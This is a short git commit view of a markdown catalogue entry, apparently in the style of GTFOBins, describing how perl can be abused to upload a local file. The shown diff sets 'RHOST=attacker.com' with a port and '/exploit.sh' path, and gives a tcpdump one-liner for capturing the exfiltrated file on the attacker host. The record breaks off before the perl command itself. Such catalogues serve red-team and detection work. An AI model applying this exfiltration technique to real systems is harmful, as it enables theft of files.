File upload perl.md #2

This commit is contained in:
Dmitrijs Trizna 2023-10-05 11:59:03 +02:00 committed by GitHub
parent 69edfd22fa
commit c293a88177
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -8,7 +8,7 @@ functions:
perl -ne print $LFILE
file-upload:
- description: Send local file via "d" parameter of a HTTP POST request. Capture content on attacker host, example: `LPORT=8080; tcpdump -i any -s 0 -l -A "tcp dst port $LPORT and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)" | awk 'BEGIN { show=0 } /Connection: close/ { show=1; next } show'`
- code: |
code: |
export RHOST=attacker.com
export RPORT=8080
export URL=/exploit.sh